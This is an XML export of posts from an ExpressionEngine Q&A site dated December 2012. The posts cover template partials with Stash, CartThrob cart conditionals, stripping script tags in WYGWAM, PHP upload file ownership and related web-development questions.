  <row Id="1740" PostTypeId="1" AcceptedAnswerId="1803" CreationDate="2012-12-17T07:42:08.447" Score="0" ViewCount="347" Body="&lt;p&gt;Can i login to EE website from another device, ie iOS device.&#xA;Basically i have a website with users, i need to login to it from a mobile phone application. Is it possible?&#xA;I know that EE server generates XID entry for protection&#xA;Is there any way around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are developing an iOS application and trying to register member to the Member Group by providing fields(screen name, password, confirm password, email), we are planning to post these variables to php script and insert it into the ee database table(s). What are these tables ? Is there any place we can se examples of php script? what else do we need to consider?&lt;/p&gt;&#xA;" OwnerUserId="627" LastEditorUserId="150" LastEditDate="2012-12-18T23:05:49.157" LastActivityDate="2012-12-19T13:42:05.513" Title="authentication on EE website from another device" Tags="|forms|login|users|xid|authenticate|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostTypeId="2" ParentId="1728" CreationDate="2012-12-17T10:01:02.467" Score="3" Body="&lt;p&gt;&lt;em&gt;NB &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/wygwam_deleting_javascript_tags_in_content&quot; rel=&quot;nofollow&quot;&gt;This P&amp;amp;T support thread&lt;/a&gt; seems to suggest that CKEditor (which is the editor WYGWAM is based should automatically strip &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, so might be worth checking your &lt;code&gt;themes/third_party/wygwam/lib/ckeditor/config.js&lt;/code&gt; file and asking on their Get Satisfaction if that isn't the case for you.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That aside. even if you can do this in CKEditor, my attitude would be that this isn't something you can do robustly in JavaScript, so ideally we need to either fix this on save (with an extension) on on output in your templates (with a plugin).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;With an extension:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of an existing extension that will do this, but if you have the PHP chops you could probably hook something up to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-start&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;entry_submission_start&lt;/code&gt;&lt;/a&gt;, and then use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-scripting-xss&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;security-&amp;gt;xss_clean()&lt;/code&gt;&lt;/a&gt; or similar to strip script tags (though this may not be the best option for your application).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;With a plugin:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Generally it's always safer to whitelist tags rather than blacklist the one's you don't want to allow, so one (easy to implement) option would to strip tags on output using a plugin like &lt;a href=&quot;http://devot-ee.com/add-ons/supergeekery-tag-stripper&quot; rel=&quot;nofollow&quot;&gt;SuperGeekery Tag Stripper&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;Hacksaw&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:eehive_hacksaw words=&quot;100&quot; allow=&quot;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;&quot;}    &#xA;  {your_content}&#xA;{/exp:eehive_hacksaw}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you go down this route I'd tend to use a snippet to share my permitted tags across templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:eehive_hacksaw words=&quot;100&quot; allow=&quot;{sn_permitted_tags}&quot;}    &#xA;  {your_content}&#xA;{/exp:eehive_hacksaw}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-17T10:40:54.860" LastActivityDate="2012-12-17T10:40:54.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1742" PostTypeId="2" ParentId="1408" CreationDate="2012-12-17T10:14:09.850" Score="1" Body="&lt;p&gt;Adding my comments as an answer as asked by Ultrabob:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding !important to the style that's not working can fix this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body { background:#2b2b2b !important; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As Ultrabob said, if this works, it means that there was another style at equal or greater specificity which was overriding the style you set. Using important! says that the style is important and should take precedence over other rules.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2012-12-17T10:14:09.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostTypeId="2" ParentId="1729" CreationDate="2012-12-17T10:22:24.030" Score="1" Body="&lt;p&gt;I know you don't want to use a plugin, but just for info, there is a great free plugin &lt;a href=&quot;http://devot-ee.com/add-ons/antenna&quot; rel=&quot;nofollow&quot;&gt;Antenna &lt;/a&gt; which makes embedding YouTube/Vimeo videos at any size very easy - you just supply the URL. &#xA;You also get access to the image for each video which can also be handy for using thumbnails to link to video embeds in pop-ups etc.&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="150" LastEditDate="2012-12-18T01:19:05.850" LastActivityDate="2012-12-18T01:19:05.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostTypeId="2" ParentId="1729" CreationDate="2012-12-17T11:38:11.373" Score="1" Body="&lt;p&gt;I've done multiple sizes responsively using the &lt;a href=&quot;http://foundation.zurb.com&quot; rel=&quot;nofollow&quot;&gt;Zurb Foundation framework&lt;/a&gt;, which has an excellent flex-video class to allow a single video to simply fill whatever container you put it in. Then if I want to present it differently, I don't have to do anything as far as the video embed code is concerned, I just wrap it differently.  I also rather like DevDemon's &lt;a href=&quot;http://devot-ee.com/add-ons/channel-videos&quot; rel=&quot;nofollow&quot;&gt;Channel Videos&lt;/a&gt; add-on, which like Antenna, is a fieldtype that allows you to select a video from YouTube or Vimeo, and the add-on handles the embed for you. It also includes a CP settings panel to centrally setup default preferences for each service, such as video size and other player options.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-17T11:38:11.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1745" PostTypeId="2" ParentId="1667" CreationDate="2012-12-17T13:21:00.027" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/changelog.html#version-2-5-3&quot; rel=&quot;nofollow&quot;&gt;2.5.3 changelog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a bug (#18071) where masked URLs in the control panel were not URL-encoded to protect characters like ampersands.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should make the Live Look redirects more reliable. Are yours not loading correctly?&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-17T13:21:00.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1746" PostTypeId="2" ParentId="1667" CreationDate="2012-12-17T15:13:03.173" Score="3" Body="&lt;p&gt;Thanks to both Dom Stubbs &amp;amp; Media Girl. You spurred me to deeper investigation and I've got a solution working for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like when the 2.5.3 update started encoding the Live Look links in my control panel, it exposed a problem with my server not handling those links properly. What I failed to mention was the error the link was showing in my browser which was &quot;&lt;strong&gt;The URI you submitted has disallowed characters.&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the Live Look URL was encoded, I didn't have this issue, but now I do, or did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had the particular site I'm speaking of on Dreamhost which seemed to only work properly when I'd set the &quot;&lt;strong&gt;uri_protocol&lt;/strong&gt;&quot; in my config file to &quot;&lt;strong&gt;QUERY_STRING&lt;/strong&gt;&quot;. My setting of the uri_protocol was related to my desire to get rid of the &quot;index.php&quot; in my URLs. I worked on the htaccess file so long ago, I don't recall the exact reasoning behind where I ended up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of why I got to the point of use &quot;QUERY_STRING&quot;, I set it back to &quot;AUTO&quot;, which is the default, and my LIVE LOOK links are working in the new encoded version. I suspect something has changed with my Dreamhost PHP set up in some automatic update that I didn't notice that allowed me to stop using &quot;QUERY_STRING.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, changing  &quot;&lt;strong&gt;uri_protocol&lt;/strong&gt;&quot; in my config file from &quot;&lt;strong&gt;QUERY_STRING&lt;/strong&gt;&quot; to &quot;&lt;strong&gt;AUTO&lt;/strong&gt;&quot; solved the problem with the encoded URL not working for me.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-12-17T15:13:03.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostTypeId="1" CreationDate="2012-12-17T15:56:05.767" Score="2" ViewCount="296" Body="&lt;p&gt;I'm looking for a simple search of the cart contents. If a specific item I am looking for is already in cart (which I can simply define by the entry ID since the products are entries), I want to change the price applied in my add_to_cart form on the page to 0 (instead of the product's &quot;usual&quot; price).  How can I do this?  I don't think i want to do it with the cart_items_info tags from CartThrob - they have much more to them than I suspect I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm aiming for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cart_contains_item_a OR cart_contains_item_b OR cart_contains_item_c}&#xA;{exp:cartthrob:add_to_cart_form return=&quot;&quot; entry_id=&quot;{entry_id}&quot; price=&quot;0.00&quot;}&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Add&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;{if:else}&#xA;{exp:cartthrob:add_to_cart_form return=&quot;&quot; entry_id=&quot;{entry_id}&quot; price=&quot;{cf_prod_price}&quot;}&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Add&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for guidance on the simplest way to determine what to include in the conditional.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2012-12-17T16:21:14.070" LastActivityDate="2012-12-17T16:54:04.110" Title="In CartThrob, how can I determine whether a specific product is in cart already and therefore use it in a conditional?" Tags="|cartthrob|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostTypeId="2" ParentId="1747" CreationDate="2012-12-17T16:00:39.400" Score="4" Body="&lt;p&gt;You could use the &lt;code&gt;is_in_cart&lt;/code&gt; tag for the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:cartthrob:is_in_cart entry_id=&quot;{entry_id}&quot;}}&#xA;   in cart&#xA;{if:else}&#xA;   not in cart&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-17T16:00:39.400" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1749" PostTypeId="2" ParentId="1675" CreationDate="2012-12-17T16:00:56.203" Score="34" Body="&lt;p&gt;For me, one of the most compelling reasons to use a &quot;template partials&quot; approach in EE (or model-view-viewModel - MVVM - if you prefer) is being able to separate out the presentation of your data (e.g. the html markup) from the business and model logic that retrieves and formats the data (the template tags, conditionals, data formatting and so on). This decoupling of concerns has many advantages, such as the ability to easily change the presentation layer, to re-use layout templates, and to cache the captured data in a structured form and format it after retrieval from the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While your question relates to a specific parse-order issue, I'm going to outline an approach, based on this idea of de-coupling the view and viewModel, which means you won't encounter parse order problems in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, work out a common nonemaclature to describe the elements of a page into which you are going to inject content - regardless of where in your page layout(s) they might be used. To avoid collisions, don't use names that you are using for custom fields. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page_title}&#xA;{page_description}&#xA;{page_body}&#xA;{page_aside}&#xA;{page_nav_main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now work out which blocks of markup are likely to be shared across ALL layouts, and make them snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{sn_head} and {sn_footer} are obvious examples, but as you put your layouts together you'll find many other blocks of markup that can and should be abstracted into snippets to keep things DRY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{sn_head}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;{stash:page_title}&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{sn_footer}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;footer&amp;gt;footer&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then work out the main page layouts (the 'wrappers') for your site. For example, you might have a layout with a sidebar for internal pages, and one without for the landing page for each of your main sections. Make a /layouts/ folder in your Stash template directory and put these in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/layouts/landing.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    {sn_head}&#xA;    &amp;lt;body&amp;gt;   &#xA;        &amp;lt;h1&amp;gt;{stash:page_title}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;{stash:page_description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div class=&quot;bodycopy&quot;&amp;gt;&#xA;            {stash:page_body}&#xA;        &amp;lt;/div&amp;gt;&#xA;        {sn_footer}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/layouts/standard.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    {sn_head}&#xA;    &amp;lt;body&amp;gt;  &#xA;        &amp;lt;h1&amp;gt;{stash:page_title}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;{stash:page_description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div class=&quot;bodycopy&quot;&amp;gt;&#xA;            {stash:page_body}&#xA;            &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;                {stash:page_aside}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {sn_footer}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that these may not look that different, but what if that changed in the future? Make a template for each layout that has a specific &lt;em&gt;purpose&lt;/em&gt; in your site architecture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to minimize or eliminate the passing of markup from your viewModel to your view, so if you have any sub-templates that provide formatting for a particular region of a layout, create a folder for them called 'partials'. E.g., 'sidebar_list' would make a good partial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/partials/sidebar_list.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{stash:aside_title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;aside_list&quot;}&#xA;    &amp;lt;li&amp;gt;{item_name}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make use of the layout templates your EE template (the 'ViewModel') needs to grab some data, include the relevant layout and inject sub-templates where needed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;viewModel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the page layout --}&#xA;{stash:embed:layouts:standard} &#xA;&#xA;{!-- inject the sidebar_list partial into the {stash:aside} region --}&#xA;{exp:stash:set_value name=&quot;page_aside&quot; value=&quot;{exp:stash:embed:partials:sidebar_list}&quot;}&#xA;&#xA;{!-- main page variables --}&#xA;{exp:channel:entries limit=&quot;1&quot; channel=&quot;blog&quot; disable=&quot;member_data|pagination&quot; require_entry=&quot;yes&quot;} &#xA;    {sn_set_entry_fields}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- sidebar variables  --}&#xA;{exp:stash:set name=&quot;aside_title&quot;}Categories{/exp:stash:set}&#xA;{exp:stash:set_list name=&quot;aside_list&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:categories}&#xA;        {stash:item_name}{category_name}{/stash:item_name}&#xA;    {/exp:channel:categories}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have more than one viewModel, you're likely to be repeating the same &lt;em&gt;set&lt;/em&gt; code. So encapsulate that as a snippet too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{sn_set_entry_fields}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set}&#xA;    {stash:page_title}{title}{/stash:page_title}&#xA;    {stash:page_description}{cf_description}{/stash:page_description}&#xA;    {stash:page_body}{cf_body}{/stash:page_body}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-08-27T17:16:35.327" LastActivityDate="2013-08-27T17:16:35.327" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1750" PostTypeId="1" AcceptedAnswerId="1752" CreationDate="2012-12-17T16:08:56.240" Score="4" ViewCount="129" Body="&lt;p&gt;I have a few sites that upload a lot of files.  My problem is, when someone uses the file upload the files getting uploaded are not owned by anyone at the server level.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rw-r--r-- 1 nobody nobody&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because these files are not owned by anyone, they are not recorded as part of that user's storage space on their hosting account.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how to get the user to own these files when they are uploaded?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that the sites in question are EE1 sites using nGen File Field as the file upload. I am guessing it is a bug in nGen File Field?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:26.610" LastActivityDate="2013-12-30T13:05:26.610" Title="files upload who owns them?" Tags="|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1751" PostTypeId="1" CreationDate="2012-12-17T16:19:36.800" Score="2" ViewCount="377" Body="&lt;p&gt;Is there a way I can purge all unused files/assets via the file manager? I'd like to clean up some directories for a client? If not, is there a query I could use to find out which files are unused?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a little more context, the files are used with a number of add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Native file fields&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-17T16:49:04.920" LastActivityDate="2012-12-18T00:40:40.453" Title="Purge all unused files/assets from file manager?" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1752" PostTypeId="2" ParentId="1750" CreationDate="2012-12-17T16:27:16.240" Score="2" Body="&lt;p&gt;This is a PHP/apache config issue rather than an EE issue per se. I've seen it before, mostly on cPanel boxes. What kind of environment are you running on the server/do you have full control of the server config?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default on some older installs that use DSO (mod_php) as the PHP handler, php&#xA; runs as &lt;code&gt;nobody&lt;/code&gt; (the apache user), resulting in &lt;code&gt;nobody&lt;/code&gt; owning the files uploaded via PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it sounds to me as if php is running via mod_php from the above, would it be an option for you to use FastCGI (aka: &lt;a href=&quot;http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html&quot; rel=&quot;nofollow&quot;&gt;mod_fastcgid&lt;/a&gt;) instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running cPanel/WHM, changing the PHP handlers is very easy to do and only takes seconds. Log into WHM and navigate to: Main &gt;&gt; Service Configuration &gt; Configure PHP and SuExec&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just select your PHP handler choice from the drop-down menu. Then hit “Save New Configuration”. If you don't see your desired choice in the drop-down menu, it may need to be compiled on the server first. Run an “Easy Apache” to compile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a good discussion of the different PHP handlers and their pros &amp;amp; cons &lt;a href=&quot;http://boomshadow.net/tech/php-handlers/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-17T16:39:00.827" LastActivityDate="2012-12-17T16:39:00.827" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostTypeId="2" ParentId="1747" CreationDate="2012-12-17T16:54:04.110" Score="1" Body="&lt;p&gt;This is what i managed to get to work.  I wouldn't consider it the &quot;right&quot; answer without getting opinions from others, but it does work for me as intended:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info entry_id=&quot;10|11|12|13&quot; limit=&quot;1&quot;}&#xA;{if no_results}&#xA;   INSERT MY ADD TO CART FORM WITH REGULAR PRICING&#xA;{/if}&#xA;   INSERT MY ADD TO CART BUTTON WITH DISCOUNTED PRICING&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this particular case, because of how i add the items to cart, there will only ever be one of the entries indicated in the entry_id parameter present anyway, so for me, this worked as a way to loop through the entries and determine if the specified entry id was present, and if so, apply special pricing rather than regular pricing to the add to cart button/form.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-17T16:54:04.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1755" PostTypeId="2" ParentId="1025" CreationDate="2012-12-17T17:12:15.203" Score="2" Body="&lt;p&gt;Best plugin I've used for this type of effect - no need to use EE conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pagescroller.com/&quot; rel=&quot;nofollow&quot;&gt;http://pagescroller.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="630" LastActivityDate="2012-12-17T17:12:15.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1756" PostTypeId="2" ParentId="1341" CreationDate="2012-12-17T18:15:36.113" Score="2" Body="&lt;p&gt;What ended up happening is there was a 'forum' template in the main template manager and is pulling in the forum content using the {exp:forum} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing wrong with this, except that the forum module templates were not adjusted for this.&#xA;So in turn it was pulling in multiple sets of head and body tags.  Basically doing an iframe setup without the iframe, that helps make sense of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has led me to redo the forum module templates to accommodate for the forum template in the main template manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2012-12-17T18:15:36.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1757" PostTypeId="2" ParentId="1594" CreationDate="2012-12-17T18:29:22.470" Score="4" Body="&lt;p&gt;It looks like the difficulty here was a very large number of folders and sub-folders.  Condensing the folders down has sped up the load significantly and are working on improvements in that area for the future of Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa Wess&lt;br /&gt;&#xA;Pixel &amp;amp; Tonic&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-12-17T18:29:22.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostTypeId="2" ParentId="930" CreationDate="2012-12-17T20:08:08.680" Score="0" Body="&lt;p&gt;None of the add-ons really did the trick so I ended up just dragging the categories field onto the Publish page from the Toolbar.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-17T20:08:08.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1760" PostTypeId="1" AcceptedAnswerId="1762" CreationDate="2012-12-17T20:27:10.907" Score="2" ViewCount="146" Body="&lt;p&gt;I have a &quot;featured item&quot; part on my site that is controlled with a new status i created called &quot;featured&quot;. I have 8 parent categories, and would like to have 8 different featured items, 1 unique for each category parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make this dynamic so when I click on my category &quot;central vacuum&quot;, then the item that is under the category central vacuums and has a status of featured to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across a solution, which is to create 8 different statuses and then write 8 if statements, but I know theres another way around it I just can't seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; status=&quot;featured&quot; limit=&quot;1&quot; category_id=&quot;{segment_3}&quot;}&#xA;     &amp;lt;img src=&quot;{feature_image}&quot;/&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2012-12-17T21:57:31.913" LastActivityDate="2012-12-18T14:50:08.233" Title="Limit entry using status and categories" Tags="|categories|segments|ifelse|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1761" PostTypeId="1" AcceptedAnswerId="1777" CreationDate="2012-12-17T20:37:08.787" Score="1" ViewCount="315" Body="&lt;p&gt;Has anyone ever had a similar issue in Cartthrob and have a possible solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product XYZ has 4 color options and 4 size options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;color A in small is $46&lt;br /&gt;&#xA;color B in small is $45&lt;br /&gt;&#xA;color C in small is $40&lt;br /&gt;&#xA;color D in small is $40&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;color A in med is $66&lt;br /&gt;&#xA;color B in med is $65&lt;br /&gt;&#xA;color C in med is $57.50&lt;br /&gt;&#xA;color D in med is $57.50&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;color A in lrg is $86&lt;br /&gt;&#xA;color B in lrg is $85&lt;br /&gt;&#xA;color C in lrg is $75&lt;br /&gt;&#xA;color D in lrg is $75&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;color A in XL is $107&lt;br /&gt;&#xA;color B in XL is $105&lt;br /&gt;&#xA;color C in XL is $92.50&lt;br /&gt;&#xA;color D in XL is $92.50&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I build a product that easliy allows the user to pick the size from a select list and the colour and CT calculate the price?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2012-12-18T13:57:38.667" Title="Cart Throb price calculations" Tags="|cartthrob|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostTypeId="2" ParentId="1760" CreationDate="2012-12-17T21:14:29.783" Score="4" Body="&lt;p&gt;If you're displaying your categories using standard category URLs (e.g., &lt;code&gt;/products/category/central-vacuum&lt;/code&gt; or &lt;code&gt;/products/C12&lt;/code&gt;), then you only have to add the &lt;code&gt;status&lt;/code&gt; parameter to your Channel Entries tag (the category will be filtered dynamically based on the URL).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; status=&quot;Featured&quot;}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in the example of the URL &lt;code&gt;/products/category/central-vacuum&lt;/code&gt;, the code above would pull only products in the &lt;strong&gt;Central Vacuum&lt;/strong&gt; category with &lt;strong&gt;Featured&lt;/strong&gt; status.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-12-18T14:50:08.233" LastActivityDate="2012-12-18T14:50:08.233" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
